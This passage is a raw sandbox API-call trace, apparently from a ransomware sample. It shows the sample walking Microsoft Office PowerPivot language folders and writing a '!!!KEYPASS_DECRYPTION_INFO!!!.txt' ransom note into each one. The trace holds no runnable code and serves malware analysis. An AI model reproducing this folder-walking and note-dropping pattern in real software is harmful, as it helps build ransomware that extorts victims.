Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0252.647] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.647] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0252.647] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.647] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0252.647] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.647] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0252.647] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.647] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0252.648] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.648] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0252.648] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.648] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0252.648] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.648] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0252.648] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.648] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0252.648] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.648] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0252.648] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.648] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0252.648] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.648] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0252.648] FindNextFileW (in: hFindFile=0x39872f8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0252.648] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.648] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0252.648] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0252.648] GetLastError () returned 0x3f0 [0252.648] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0252.649] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0252.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\da\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x87c [0252.664] GetFileType (hFile=0x87c) returned 0x1 [0252.664] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0252.664] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0252.664] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0252.664] WriteFile (in: hFile=0x87c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0252.665] WriteFile (in: hFile=0x87c, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0252.665] CloseHandle (hObject=0x87c) returned 1 [0252.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3987478 [0252.666] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.746] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.746] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0252.746] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.746] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\LocalizedStrings.xml") returned=".xml" [0252.746] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.746] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0252.746] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.746] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0252.746] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.746] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0252.746] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.746] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0252.746] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.746] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0252.746] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.746] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0252.746] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.747] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0252.747] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.747] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0252.747] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.747] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0252.747] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.747] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0252.747] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.747] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0252.747] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.747] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0252.747] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.747] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0252.747] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.747] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0252.747] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.747] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0252.747] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.747] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0252.747] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.747] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0252.747] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.748] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0252.748] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.748] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0252.748] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.748] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0252.748] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.748] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0252.748] FindNextFileW (in: hFindFile=0x3987478, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0252.748] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.748] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0252.748] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0252.748] GetLastError () returned 0x3f0 [0252.748] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0252.748] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0252.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0252.838] GetFileType (hFile=0x874) returned 0x1 [0252.839] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0252.839] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0252.839] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0252.839] WriteFile (in: hFile=0x874, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0252.840] WriteFile (in: hFile=0x874, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0252.840] CloseHandle (hObject=0x874) returned 1 [0252.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39876b8 [0252.840] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.842] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0252.842] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml") returned=".xml" [0252.842] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.AnalysisServices.Common.resources.dll") returned=".dll" [0252.842] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.AnalysisServices.Common.Wizard.resources.dll") returned=".dll" [0252.842] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.AnalysisServices.Excel.BackEnd.resources.dll") returned=".dll" [0252.842] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll") returned=".dll" [0252.842] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.AnalysisServices.Layout.resources.dll") returned=".dll" [0252.842] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.AnalysisServices.XLHost.Modeler.resources.dll") returned=".dll" [0252.842] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.DataWarehouse.Interfaces.resources.dll") returned=".dll" [0252.842] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.DataWarehouse.resources.dll") returned=".dll" [0252.842] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.842] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.Excel.AnalysisServices.AdomdClientUI.resources.dll") returned=".dll" [0252.843] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.Excel.DataWarehouse.resources.dll") returned=".dll" [0252.843] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.Excel.MDXQueryGenerator.resources.dll") returned=".dll" [0252.843] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.Excel.ReportingServices.DataExtensions.resources.dll") returned=".dll" [0252.843] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.Excel.ReportingServices.QueryDesigners.Extensions.resources.dll") returned=".dll" [0252.843] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.Excel.ReportingServices.QueryDesigners.resources.dll") returned=".dll" [0252.845] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll") returned=".dll" [0252.845] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.ReportingServices.Diagnostics.resources.dll") returned=".dll" [0252.845] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.ReportingServices.ReportDesign.Common.resources.dll") returned=".dll" [0252.845] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.ReportingServices.ReportDesign.Forms.resources.dll") returned=".dll" [0252.845] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.ReportingServices.RsClient.resources.dll") returned=".dll" [0252.845] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\Microsoft.SqlServer.Types.resources.dll") returned=".dll" [0252.845] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0252.845] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\ReportingServicesNativeClient.resources.dll") returned=".dll" [0252.845] FindNextFileW (in: hFindFile=0x39876b8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0252.845] FindNextFileW (in: hFindFile=0x3987638, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0252.846] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0252.846] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39883a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0252.846] GetLastError () returned 0x3f0 [0252.846] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0252.846] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0252.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\el\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x884 [0252.860] GetFileType (hFile=0x884) returned 0x1 [0252.860] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0252.860] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0252.860] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0252.860] WriteFile (in: hFile=0x884, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0252.861] WriteFile (in: hFile=0x884, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, 